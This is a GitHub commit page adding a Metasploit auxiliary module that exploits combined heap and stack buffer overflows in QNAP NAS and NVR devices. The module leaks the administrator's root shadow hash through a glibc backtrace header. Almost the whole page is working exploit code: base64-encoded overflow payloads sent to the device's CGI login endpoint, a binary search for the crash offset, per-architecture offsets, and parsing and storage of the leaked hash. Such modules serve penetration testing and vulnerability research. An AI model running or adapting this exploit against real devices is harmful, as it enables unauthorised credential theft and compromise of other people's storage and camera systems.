Skip to content

Commit

Permalink
Add QNAP admin hash "disclosure"
Browse files Browse the repository at this point in the history
  • Loading branch information
wvu committed Feb 25, 2017
1 parent d9a7fac commit b6c8ca9
Showing 1 changed file with 226 additions and 0 deletions.
226 changes: 226 additions & 0 deletions modules/auxiliary/gather/qnap_backtrace_admin_hash.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,226 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'QNAP NAS/NVR Administrator Hash Disclosure',
'Description' => %q{
This module exploits combined heap and stack buffer overflows for QNAP
NAS and NVR devices to dump the admin (root) shadow hash from memory via
an overwrite of __libc_argv[0] in the HTTP-header-bound glibc backtrace.
A binary search is performed to find the correct offset for the BOFs.
Since the server forks, blind remote exploitation is possible, provided
the heap does not have ASLR.
Note: you may need to bump RETRIES (default is 0) if the attack fails.
},
'Author' => [
'bashis', # Vuln/PoC
'wvu', # Module
'Donald Knuth' # Algorithm
],
'References' => [
['URL', 'http://seclists.org/fulldisclosure/2017/Feb/2'],
['URL', 'https://en.wikipedia.org/wiki/Binary_search_algorithm']
],
'DisclosureDate' => 'Jan 31 2017',
'License' => MSF_LICENSE,
'Actions' => [
['Automatic', 'Description' => 'Automatic targeting'],
['x86', 'Description' => 'x86 target', offset: 0x16b2],
['ARM', 'Description' => 'ARM target', offset: 0x1562]
],
'DefaultAction' => 'Automatic'
))

register_options([
OptInt.new('OFFSET_START', [true, 'Starting offset (crash)', 2000]),
OptInt.new('OFFSET_END', [true, 'Ending offset (no crash)', 5000]),
OptInt.new('RETRIES', [true, 'Retry count for the attack', 0])
])

register_advanced_options([
OptBool.new('DEBEUG', [false, 'Print debugging messages', false])
])
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => '/cgi-bin/authLogin.cgi'
)

if res && res.code == 200 && (xml = res.get_xml_document)
info = []

%w{modelName version build patch}.each do |node|
info << xml.at("//#{node}").text
end

@target = (xml.at('//platform').text == 'TS-NASX86' ? 'x86' : 'ARM')

vprint_status("QNAP #{info[0]} #{info[1..-1].join('-')} detected")

Exploit::CheckCode::Detected
else
Exploit::CheckCode::Safe
end
end

def run
if check == Exploit::CheckCode::Safe
print_error('Device does not appear to be a QNAP')
return
end

admin_hash = nil

(0..datastore['RETRIES']).each do |attempt|
vprint_status("Retry #{attempt} in progress") if attempt > 0
break if (admin_hash = dump_hash)
end

if admin_hash
print_good("Hopefully this is your hash: #{admin_hash}")
report_cred(admin_hash)
else
print_error('Looks like we didn\'t find the hash :(')
end

vprint_status("#{@cnt} HTTP requests were sent during module run")
end

def dump_hash
# 1
l = datastore['OFFSET_START']
r = datastore['OFFSET_END']

start = Time.now
t = binsearch(l, r)
stop = Time.now

time = stop - start
vprint_status("Binary search of #{l}-#{r} completed in #{time}s")

if action.name == 'Automatic'
target = actions.find do |tgt|
tgt.name == @target
end
else
target = action
end

return if t.nil? || @offset.nil? || target.nil?

offset = @offset - target[:offset]

find_hash(t, offset)
end

def find_hash(t, offset)
admin_hash = nil

# Off by one or two...
2.times do
t += 1

if (res = send_request(t, [offset].pack('V')))
if (backtrace = find_backtrace(res))
token = backtrace[0].split[4]
end
end

if token && token.start_with?('$1$')
admin_hash = token
addr = "0x#{offset.to_s(16)}"
vprint_status("Admin hash found at #{addr} with offset #{t}")
break
end
end

admin_hash
end

# Shamelessly stolen from Knuth
def binsearch(l, r)
# 2
return if l > r

# 3
@m = ((l + r) / 2).floor

res = send_request(@m)

return if res.nil?

# 4
if find_backtrace(res)
l = @m + 1
# 5
else
r = @m - 1
end

binsearch(l, r)

# 6
@m
end

def send_request(m, ret = nil)
@cnt = @cnt.to_i + 1

print_debeug(m)

payload = Rex::Text.encode_base64(
Rex::Text.rand_text(1) * m +
(ret ? ret : Rex::Text.rand_text(4))
)

res = send_request_cgi(
'method' => 'GET',
'uri' => '/cgi-bin/cgi.cgi',
#'vhost' => 'Q',
'vars_get' => {
'u' => 'admin',
'p' => payload
}
)

if res
print_debeug(res.request)
print_debeug(res.headers)
end

res
end

def find_backtrace(res)
res.headers.find do |name, val|
if name.include?('glibc detected')
@offset = val.split[-2].to_i(16)
end
end
end

def report_cred(admin_hash)
create_credential(
private_type: :nonreplayable_hash,
private_data: admin_hash
)
end

def print_debeug(msg = '')
if datastore['DEBEUG']
print_line("%bld%cya[!]%clr #{msg}")
end
end

end

0 comments on commit b6c8ca9

Please sign in to comment.